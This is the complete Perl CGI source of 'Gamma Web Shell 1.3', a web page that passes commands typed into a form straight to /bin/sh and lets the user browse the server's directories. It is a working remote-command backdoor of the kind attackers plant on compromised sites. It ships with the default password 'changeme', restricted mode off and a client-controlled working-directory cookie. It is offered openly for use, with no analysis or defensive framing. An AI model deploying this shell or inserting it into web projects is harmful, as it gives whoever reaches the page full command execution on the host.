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WebShell.cgi.pl
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#!/usr/bin/perl
###############################################################################
### Gamma Web Shell
### Copyright 2003 Gamma Group
### All rights reserved
###
### Gamma Web Shell is free for both commercial and non commercial
### use. You may modify this script as you find necessary as long
### as you do not sell it. Redistribution is not allowed without
### prior consent from Gamma Group ([email protected]).
###
### Gamma Group <http://www.gammacenter.com>
###
use strict;
###############################################################################
package WebShell::Configuration;
use vars qw($password $restricted_mode $ok_commands);
##
## Password.
## Set to blank if you don't need password protection.
##
$password = "changeme";
##
## Restricted mode.
## Set to "1" to allow only a limited set of commands.
##
$restricted_mode = 0;
##
## Available commands.
## The list of available commands for the restricted mode.
##
$ok_commands = ['ls', 'ls -l', 'pwd', 'uptime'];
###############################################################################
package WebShell::Templates;
use vars qw($LOGIN_TEMPLATE $INPUT_TEMPLATE $EXECUTE_TEMPLATE $BROWSE_TEMPLATE);
my $VERSION = 'Gamma Web Shell 1.3';
my $STYLESHEET = <<EOT;
body {
font-family: Verdana, Helvetica, sans-serif;
font-size: 90%;
color: #000;
background: #FFF;
margin: 0px;
padding: 0px;
}
h1, h2, h3, h4, h5, h6 {
margin: 0.3em;
padding: 0px;
}
input, select, textarea, select {
font-family: Verdana, Helvetica, sans-serif;
font-size: 100%;
margin: 1px;
padding: 0px 1px;
}
pre, code, tt {
font-family: 'Courier New', Courier, monospace;
font-size: 100%;
}
form {
margin: 0px;
padding: 0px;
}
table {
font-size: 100%;
}
a {
text-decoration: none;
color: #000;
background: transparent;
}
a:hover {
text-decoration: underline;
}
.header, .footer {
color: #000;
background: #CCF;
margin: 0px;
padding: 0px;
text-align: center;
border: solid #000;
border-width: 1px 0px;
}
.box {
border: 1px solid #000;
border-collapse: collapse;
color: #000;
background: #CCF;
}
.box-header, .box-content, .box-text, .box-error, .box-menu {
border: 1px solid #000;
}
.box-header, .box-header a {
color: #FFF;
background: #000;
}
.box-content {
text-align: center;
}
.box-text {
padding: 3px 10px;
font-size: 90%;
}
.box-menu {
padding: 3px 10px;
}
.box-error {
color: #FFF;
background: #F00;
font-weight: bold;
padding: 3px 25px;
text-align: center;
}
.dialog {
text-align: left;
border-collapse: collapse;
}
.dialog-even {
color: #000;
background: #CCF;
}
.dialog-odd {
color: #000;
background: #AAE;
}
.menu {
font-weight: normal;
}
.menu-selected {
font-weight: bold;
}
.tool {
background: transparent;
color: #000;
border-style: hidden;
border-width: 1px;
text-decoration: none;
}
.tool:hover {
border-style: outset;
text-decoration: none;
}
.output {
color: #FFF;
background: #000;
padding: 1em;
font-weight: bold;
}
.output-text {
}
.output-command {
color: #FF7;
background: #000;
}
.output-error {
color: #FFF;
background: #F00;
}
.entries {
border: 1px solid #777;
border-collapse: collapse;
}
.entries td, .entries th {
padding: 2px 10px;
}
.entries th, .entries td {
border: 1px solid #777;
}
.entries-even {
color: #FFF;
background: #444;
}
.entry-dir a {
color: #BBF;
background: transparent;
}
.entry-exec {
color: #BFB;
background: transparent;
}
.entry-file {
}
.entry-mine {
}
.entry-alien {
color: #FBB;
background: transparent;
}
EOT
$LOGIN_TEMPLATE = <<EOT;
<html>
<head>
<title>Gamma Web Shell</title>
<style type="text/css">$STYLESHEET</style>
</head>
<body>
<table width="100%" height="100%">
<tr><td class="header"><h2>$VERSION</h2></td></tr>
<tr>
<td width="100%" height="100%" align="center" valign="center">
<form action="WebShell.cgi" method="POST">
<table class="box">
<tr><th class="box-header">Login</th></tr>
[% if error %]
<tr><td class="box-error">Invalid password!</td></tr>
[% end %]
<tr>
<td class="box-content">
<table class="dialog" width="100%">
<tr>
<td>Password:</td>
<td><input name="password" type="password"></td>
</tr>
</table>
</td>
</tr>
<tr>
<td class="box-content">
<input class="tool" type="submit" value="OK">
</td>
</tr>
</table>
</form>
</td>
</tr>
<tr><td class="footer"><h5>Copyright © 2003 <a href="http://www.gammacenter.com/">Gamma Group</a></h5></td></tr>
</table>
</body>
</html>
EOT
$INPUT_TEMPLATE = <<EOT;
<html>
<head>
<title>Gamma Web Shell</title>
<style type="text/css">$STYLESHEET</style>
</head>
<body>
<table width="100%" height="100%">
<tr><td class="header"><h2>$VERSION</h2></td></tr>
<tr>
<td width="100%" height="100%" align="center" valign="center">
<iframe name="output" src="WebShell.cgi?action=execute" width="80%" height="80%"></iframe>
<br><br>
<script type="text/javascript">
function submit_execute() {
var entry = document.forms.execute.elements['command'];
if (entry.value.length > 0) {
entry.select();
entry.focus();
document.forms.execute.elements['action'].value = 'execute';
return true;
}
else {
return false;
}
}
function submit_browse() {
document.forms.execute.elements['action'].value = 'browse';
}
</script>
<form name="execute" action="WebShell.cgi" method="POST" target="output">
<input name="action" type="hidden" value="execute">
<table class="box">
<tr>
<td class="box-content">
<table class="dialog" width="100%">
<tr>
<th>Command:</th>
<td><input name="command" type="text" size="50"></td>
<td><input class="tool" type="submit" value="Execute" onClick="return submit_execute()"></td>
<td><input class="tool" type="submit" value="Browse" onClick="return submit_browse()"></td>
</tr>
</table>
</td>
</tr>
</table>
</form>
</td>
</tr>
<tr><td class="footer"><h5>Copyright © 2003 <a href="http://www.gammacenter.com/">Gamma Group</a></h5></td></tr>
</table>
</body>
</html>
EOT
$EXECUTE_TEMPLATE = <<EOT;
<html>
<head>
<title>Gamma Web Shell</title>
<style type="text/css">$STYLESHEET</style>
</head>
<body class="output">
[% if old_line %]
<pre class="output-command">[% old_line as html %]</pre>
[% end %]
[% if output %]
<pre class="output-text">[% output as html %]</pre>
[% end %]
[% if error %]
<pre class="output-error">[% error as html %]</pre>
[% end %]
[% if new_line %]
<pre class="output-command">[% new_line as html %]</pre>
[% end %]
</body>
</html>
EOT
$BROWSE_TEMPLATE = <<EOT;
<html>
<head>
<title>Gamma Web Shell</title>
<style type="text/css">$STYLESHEET</style>
</head>
<body class="output">
[% if error %]
<p class="output-error">[% error as html %]</p>
[% end %]
<table class="entries" width="100%">
<tr class="entries-even" align="left">
<th colspan="6">
[% for entry in directory %]<code class="entry-dir"><a href="WebShell.cgi?action=browse&path=[% entry.path as url %]">[% entry.name as html %]/</a></code>[% end %]
</th>
</tr>
<tr class="entries-odd" align="left">
<th width="100%"><small>Name</small></th>
<th><small>Size</small></th>
<th><small>Time</small></th>
<th><small>Owner</small></th>
<th><small>Group</small></th>
<th><small>Mode</small></th>
</tr>
[% for entry in entries %]
<tr class="entries-[% if loop.entry.even %]even[% else %]odd[% end %]">
<td width="100%">
[% if entry.type_file %]
[% if entry.type_exec %]
<code class="entry-exec">[% entry.name as html %]</code>
[% else %]
<code class="entry-file">[% entry.name as html %]</code>
[% end %]
[% elif entry.type_dir %]
<code class="entry-dir"><a href="WebShell.cgi?action=browse&path=[% entry.name as url %]">[% entry.name as html %]/</a></code>
[% else %]
<code class="entry-other">[% entry.name as html %]</code>
[% end %]
</td>
<td align="right">
[% if entry.type_file %]
<code class="entry-text">[% entry.size as html %]</code></td>
[% else %]
[% end %]
</td>
<td><code class="entry-text">[% entry.time as nbsp %]</code></td>
<td><code class="entry-[% if entry.all_rights %]mine[% else %]alien[% end %]">[% entry.user as html %]</code></td>
<td><code class="entry-[% if entry.all_rights %]mine[% else %]alien[% end %]">[% entry.group as html %]</code></td>
<td><code class="entry-text">[% entry.mode as html %]</code></td>
</tr>
[% end %]
</table>
</body>
</html>
EOT
###############################################################################
package WebShell::MiniXIT;
sub new {
my ($class) = @_;
return bless {}, $class;
}
sub substitute {
my ($self, $input, %keywords) = @_;
my $statements = $self->parse($input);
my $operation = $self->compile($statements);
my $output = $self->evaluate($operation, \%keywords);
return $output;
}
sub parse {
my ($self, $input) = @_;
my $statements = [];
my $start = 0;
while ($input =~ /(\[%\s*(.*?)\s*%\])/g) {
my $match_end = pos($input);
my $match_start = $match_end - length($1);
if ($start < $match_start) {
my $text = substr($input, $start, $match_start-$start);
push @$statements, { id => 'text', text => $text };
}
push @$statements, $self->parse_command($2);
$start = $match_end;
}
if ($start < length($input)) {
my $text = substr($input, $start);
push @$statements, { id => 'text', text => $text };
}
return $statements;
}
sub parse_command {
my ($self, $command) = @_;
if ($command =~ /^if\s+(\w+(\.\w+)*)$/) {
return { id => 'if', test => $1, };
}
elsif ($command =~ /^elif\s+(\w+(\.\w+)*)$/) {
return { id => 'elif', test => $1 };
}
elsif ($command =~ /^else$/) {
return { id => 'else' };
}
elsif ($command =~ /^for\s+(\w+)\s+in\s+(\w+(\.\w+)*)$/) {
return { id => 'for', name => $1, list => $2 };
}
elsif ($command =~ /^end$/) {
return { id => 'end' };
}
elsif ($command =~ /^(\w+(\.\w+)*)(\s+as\s+(\w+))$/) {
return { id => 'print', variable => $1, format => $4 };
}
else {
die "invalid command: '$command'";
}
}
sub compile {
my ($self, $statements) = @_;
my $operation = $self->compile_sequence($statements);
if (scalar(@$statements)) {
my $statement = shift(@$statements);
my $id = $statements->{id};
die "unexpected statement: '$id'";
}
return $operation;
}
sub compile_sequence {
my ($self, $statements) = @_;
my $operations = [];
while (scalar(@$statements) > 0) {
my $id = $statements->[0]->{id};
if ($id eq 'if') {
push @$operations, $self->compile_condition($statements);
}
elsif ($id eq 'for') {
push @$operations, $self->compile_loop($statements);
}
elsif ($id eq 'print' or $id eq 'text') {
my $statement = shift @$statements;
push @$operations, $statement;
}
else {
last;
}
}
return { id => 'sequence', operations => $operations };
}
sub compile_condition {
my ($self, $statements) = @_;
my $conditions = [];
my $statement = shift @$statements;
my $id = defined $statement ? $statement->{id} : 'none';
while ($id eq 'if' or $id eq 'elif' or $id eq 'else') {
my $test = $id ne 'else' ? $statement->{test} : undef;
my $operation = $self->compile_sequence($statements);
push @$conditions, { test => $test, operation => $operation };
$statement = shift @$statements;
$id = defined $statement ? $statement->{id} : 'none';
}
die "'end' expected, but '$id' found" unless $id eq 'end';
return { id => 'condition', conditions => $conditions };
}
sub compile_loop {
my ($self, $statements) = @_;
my $statement = shift @$statements;
my $name = $statement->{name};
my $list = $statement->{list};
my $operation = $self->compile_sequence($statements);
$statement = shift @$statements;
my $id = defined $statement ? $statement->{id} : 'none';
die "'end' expected, but '$id' found" unless $id eq 'end';
return { id => 'loop',
name => $name, list => $list, operation => $operation };
}
sub evaluate {
my ($self, $operation, $keywords) = @_;
$keywords->{loop} = {};
my $chunks = $self->evaluate_operation($operation, $keywords);
return join('', @$chunks);
}
sub evaluate_operation {
my ($self, $operation, $keywords) = @_;
if ($operation->{id} eq 'condition') {
return $self->evaluate_condition($operation->{conditions}, $keywords);
}
elsif ($operation->{id} eq 'loop') {
return $self->evaluate_loop($operation->{name}, $operation->{list},
$operation->{operation}, $keywords);
}
elsif ($operation->{id} eq 'print') {
return $self->evaluate_print($operation->{variable},
$operation->{format}, $keywords);
}
elsif ($operation->{id} eq 'sequence') {
my $chunks = [];
push @$chunks, @{$self->evaluate_operation($_, $keywords)}
for (@{$operation->{operations}});
return $chunks;
}
elsif ($operation->{id} eq 'text') {
return [$operation->{text}];
}
}
sub evaluate_condition {
my ($self, $conditions, $keywords) = @_;
for my $condition (@$conditions) {
my $test = $condition->{test};
my $value = defined $test ?
$self->evaluate_variable($test, $keywords) : 1;
return $self->evaluate_operation($condition->{operation}, $keywords)
if $value;
}
return [];
}
sub evaluate_loop {
my ($self, $name, $list, $operation, $keywords) = @_;
my $values = $self->evaluate_variable($list, $keywords);
my $length = scalar(@$values);
my $index = 0;
my $chunks = [];
for my $value (@$values) {
$keywords->{$name} = $value;
$keywords->{loop}->{$name} = {
index => $index, number => $index+1,
first => $index == 0, last => $index == $length-1,
odd => $index % 2 == 1, even => $index % 2 == 0,
};
push @$chunks, @{$self->evaluate_operation($operation, $keywords)};
$index++;
}
delete $keywords->{$name};
delete $keywords->{loop}->{$name};
return $chunks;
}
sub evaluate_print {
my ($self, $variable, $format, $keywords) = @_;
my $value = $self->evaluate_variable($variable, $keywords);
if ($format eq 'html') {
for ($value) { s/&/&/g; s/</</g; s/>/>/g; s/"/"/g; }
}
elsif ($format eq 'nbsp') {
for ($value) {
s/&/&/g; s/</</g; s/>/>/g; s/"/"/g; s/ / /g;
}
}
elsif ($format eq 'url') {
$value =~ s/(\W)/sprintf('%%%02X', ord($1))/eg;
}
elsif ($format ne '') {
die "unknown format: '$format'";
}
return [$value];
}
sub evaluate_variable {
my ($self, $variable, $keywords) = @_;
my $value = $keywords;
for my $name (split(/\./, $variable)) {
$value = $value->{$name};
}
return $value;
}
###############################################################################
package WebShell::Script;
use CGI;
use CGI::Carp qw(fatalsToBrowser);
use IPC::Open3;
use Cwd;
use POSIX;
sub new {
my ($class) = @_;
my $self = bless { }, $class;
$self->initialize();
return $self;
}
sub query {
my ($self, @names) = @_;
my @values = ();
for my $name (@names) {
my $value = $self->{cgi}->param($name);
for ($value) { s/^\s+//; s/\s+$//; }
push @values, $value;
}
return wantarray ? @values : "@values";
}
sub initialize {
my ($self) = @_;
$self->{cgi} = new CGI;
$self->{cwd} = $self->{cgi}->cookie(-name => 'WebShell-cwd');
$self->{cwd} = cwd unless defined $self->{cwd};
$self->{cwd} = cwd if $WebShell::Configuration::restricted_mode;
$self->{login} = 0;
my $login = $self->{cgi}->cookie(-name => 'WebShell-login');
my $password = $self->query('password');
$self->{login} = 1
if crypt($WebShell::Configuration::password, $login."XX") eq $login;
$self->{login} = 1 if $password eq $WebShell::Configuration::password;
}
sub run {
my ($self) = @_;
return $self->login_action unless $self->{login};
my $action = $self->query('action');
$action = 'default' unless $action =~ /^\w+$/;
$action = $self->can($action . '_action');
$action = $self->can('default_action') unless defined $action;
$self->$action();
}
sub default_action {
my ($self) = @_;
$self->publish('INPUT');
}
sub login_action {
my ($self) = @_;
$self->publish('LOGIN', error => ($self->query('password') ne ''));
}
sub command {
my ($self, $command) = @_;
chdir($self->{cwd});
my $pid = open3(\*WRTH, \*RDH, \*ERRH, "/bin/sh");
print WRTH "$command\n";
close(WRTH);
my $output = do { local $/; <RDH> };
my $error = do { local $/; <ERRH> };
waitpid($pid, 0);
return ($output, $error);
}
sub forbidden_command {
my ($self, $command) = @_;
my $error = "This command is not available in the restricted mode.\n";
$error .= "You may only use the following commands:\n";
for my $ok_command (@$WebShell::Configuration::ok_commands) {
$error .= " $ok_command\n";
}
return ('', $error);
}
sub cd_command {
my ($self, $command) = @_;
my $error;
my $directory = $1 if $command =~ /^cd\s+(\S+)$/;
warn "cwd: '$self->{cwd}'\n";
warn "command: '$command'\n";
warn "directory: '$directory'\n";
if ($directory ne '') {
$error = $! unless chdir($self->{cwd});
$error = $! unless chdir($directory);
}
$self->{cwd} = cwd;
return ('', $error);
}
sub execute_action {
my ($self) = @_;
my $command = $self->query('command');
my $user = getpwuid($>);
my $old_line = "[$user: $self->{cwd}]\$ $command";
my ($output, $error);
if ($command ne "") {
my $allow = not $WebShell::Configuration::restricted_mode;
for my $ok_command (@$WebShell::Configuration::ok_commands) {
$allow = 1 if $command eq $ok_command;
}
if ($allow) {
$command =~ /^(\w+)/;
if (my $method = $self->can("${1}_command")) {
($output, $error) = $self->$method($command);
}
else {
($output, $error) = $self->command($command);
}
}
else {
($output, $error) = $self->forbidden_command($command);
}
}
my $new_line = "[$user: $self->{cwd}]\$ " unless $command eq "";
$self->publish('EXECUTE',
old_line => $old_line, new_line => $new_line,
output => $output, error => $error);
}
sub browse_action {
my ($self) = @_;
my $error = "";
my $path = $self->query('path');
if ($WebShell::Configuration::restricted_mode and $path ne '') {
$error = "You cannot browse directories in the restricted mode.";
$path = "";
}
$error = $! unless chdir($self->{cwd});
if ($path ne '') {
$error = $! unless chdir($path);
}
$self->{cwd} = cwd;
opendir(DIR, '.');
my @dir = readdir(DIR);
closedir(DIR);
my @entries = ();
for my $name (@dir) {
my ($dev, $ino, $mode, $nlink, $uid, $gid, $rdev, $size,
$atime, $mtime, $ctime, $blksize, $blocks) = stat($name);
my $modestr = S_ISDIR($mode) ? 'd' : '-';
$modestr .= ($mode & S_IRUSR) ? 'r' : '-';
$modestr .= ($mode & S_IWUSR) ? 'w' : '-';
$modestr .= ($mode & S_ISUID) ? 's' : ($mode & S_IXUSR) ? 'x' : '-';
$modestr .= ($mode & S_IRGRP) ? 'r' : '-';
$modestr .= ($mode & S_IWGRP) ? 'w' : '-';
$modestr .= ($mode & S_ISGID) ? 's' : ($mode & S_IXGRP) ? 'x' : '-';
$modestr .= ($mode & S_IROTH) ? 'r' : '-';
$modestr .= ($mode & S_IWOTH) ? 'w' : '-';
$modestr .= ($mode & S_IXOTH) ? 'x' : '-';
my $userstr = getpwuid($uid);
my $groupstr = getgrgid($gid);
my $sizestr = ($size < 1024) ? $size :
($size < 1024*1024) ? sprintf("%.1fk", $size/1024) :
sprintf("%.1fM", $size/(1024*1024));
my $timestr = strftime('%H:%M %b %e %Y', localtime($mtime));
push @entries, {
name => $name,
type_file => S_ISREG($mode),
type_dir => S_ISDIR($mode),
type_exec => ($mode & S_IXUSR),
mode => $modestr,
user => $userstr,
group => $groupstr,
order => (S_ISDIR($mode) ? 0 : 1) . $name,
all_rights => (-w $name),
size => $sizestr,
time => $timestr,
};
}
@entries = sort { $a->{order} cmp $b->{order} } @entries;
my @directory = ();
my $path = '';
for my $name (split m|/|, $self->{cwd}) {
$path .= "$name/";
push @directory, {
name => $name,
path => $path,
};
}
@directory = ({ name => '', path => '/'}) unless @directory;
$self->publish('BROWSE', entries => \@entries, directory => \@directory,
error => $error);
}
sub publish {
my ($self, $template, %keywords) = @_;
$template = eval '$WebShell::Templates::' . $template . '_TEMPLATE';
my $xit = new WebShell::MiniXIT;
my $text = $xit->substitute($template, %keywords);
$self->{cgi}->url =~ m{^http://([^/]*)(.*)/[^/]*$};
my $domain = $1;
my $path = $2;
my $cwd_cookie = $self->{cgi}->cookie(
-name => 'WebShell-cwd',
-value => $self->{cwd},
-domain => $domain,
-path => $path,
);
my $login = "";
if ($self->{login}) {
my $salt = join '',
('.', '/', 0..9, 'A'..'Z', 'a'..'z')[rand 64, rand 64];
$login = crypt($WebShell::Configuration::password, $salt);
}
my $login_cookie = $self->{cgi}->cookie(
-name => 'WebShell-login',
-value => $login,
-domain => $domain,
-path => $path,
);
print $self->{cgi}->header(-cookie => [$cwd_cookie, $login_cookie]);
print $text;
}
###############################################################################
package WebShell;
my $script = new WebShell::Script;
$script->run;
###############################################################################
###############################################################################